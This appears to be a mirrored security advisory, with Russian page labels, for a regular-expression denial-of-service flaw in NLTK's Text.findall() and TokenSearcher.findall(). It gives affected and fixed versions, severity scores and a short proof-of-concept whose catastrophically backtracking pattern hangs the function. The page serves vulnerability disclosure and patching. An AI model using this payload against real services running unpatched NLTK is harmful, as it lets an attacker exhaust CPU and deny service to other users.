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GHSA-rrv8-h7p8-rx55

Опубликовано: 08 сент. 2026
Источник: github
Github: Прошло ревью
CVSS4: 8.7
CVSS3: 7.5

Описание

NLTK: ReDoS in nltk.text.Text.findall() via unvalidated user-supplied regular expressions

Summary

NLTK's Text.findall() and TokenSearcher.findall() methods accept user-supplied regular expressions and pass them to the Python re engine without timeout or validation, enabling catastrophic backtracking (ReDoS). This issue is isolated to the nltk.text module and was resolved in a prior commit.

Affected Code

nltk/text.pyTokenSearcher.findall() (line 255) / Text.findall() (line 620)

TokenSearcher.__init__ builds an internal string by wrapping each token in angle brackets. The findall() method preprocesses the caller-supplied regexp and runs it directly against this string with no timeout:

def findall(self, regexp): # Preprocessing does NOT prevent catastrophic backtracking regexp = re.sub(r"\s", "", regexp) regexp = re.sub(r"<", "(?:<(?:", regexp) regexp = re.sub(r">", ")>)", regexp) regexp = re.sub(r"(?<!\\)\.", "[^>]", regexp) # User-controlled regexp executed with no timeout hits = re.findall(regexp, self._raw)

The preprocessing transforms < and > angle-bracket syntax but does not inspect or reject catastrophically backtracking patterns.

Proof of Concept

import nltk import time # Token of 25 'a' characters produces self._raw = "<aaaaaaaaaaaaaaaaaaaaaaaa!>" # The trailing '!' ensures no match, forcing full backtracking. text = nltk.Text(["a" * 25 + "!"]) # Pattern after transformation: # < → (?:<(?: # > → )>) # Becomes: (?:<(?:((a+)+)b)>) # re.findall runs this against "<aaaaaaaaaaaaaaaaaaaaaaaa!>" — hangs. start = time.time() text.findall(r"<((a+)+)b>") # Never returns

Impact

Applications that expose Text.findall() to external input are vulnerable to a denial of service. An unauthenticated attacker can cause indefinite CPU saturation with one request, denying service to all other users of the Python process.

Remediation

This vulnerability was patched in commit d8e4753. Users should update to the patched version.

Credit

Tool: Kira by Offgrid Security

Пакеты

Наименование

nltk

pip
Затронутые версииВерсия исправления

<= 3.9.4

3.10.0

EPSS

Процентиль: 40%
0.00489
Низкий

8.7 High

CVSS4

7.5 High

CVSS3

Дефекты

CWE-1333

Связанные уязвимости

CVSS3: 7.5
ubuntu
22 дня назад

NLTK versions before 3.10.0 contain a regular expression denial of service vulnerability in Text.findall() and TokenSearcher.findall() methods that accept user-supplied regular expressions without validation or timeout. Attackers can supply crafted regex patterns that cause catastrophic backtracking, resulting in indefinite CPU saturation and denial of service to all users of the Python process.

CVSS3: 7.5
redhat
22 дня назад

NLTK versions before 3.10.0 contain a regular expression denial of service vulnerability in Text.findall() and TokenSearcher.findall() methods that accept user-supplied regular expressions without validation or timeout. Attackers can supply crafted regex patterns that cause catastrophic backtracking, resulting in indefinite CPU saturation and denial of service to all users of the Python process.

CVSS3: 7.5
nvd
22 дня назад

NLTK versions before 3.10.0 contain a regular expression denial of service vulnerability in Text.findall() and TokenSearcher.findall() methods that accept user-supplied regular expressions without validation or timeout. Attackers can supply crafted regex patterns that cause catastrophic backtracking, resulting in indefinite CPU saturation and denial of service to all users of the Python process.

CVSS3: 7.5
debian
22 дня назад

NLTK versions before 3.10.0 contain a regular expression denial of ser ...

EPSS

Процентиль: 40%
0.00489
Низкий

8.7 High

CVSS4

7.5 High

CVSS3

Дефекты

CWE-1333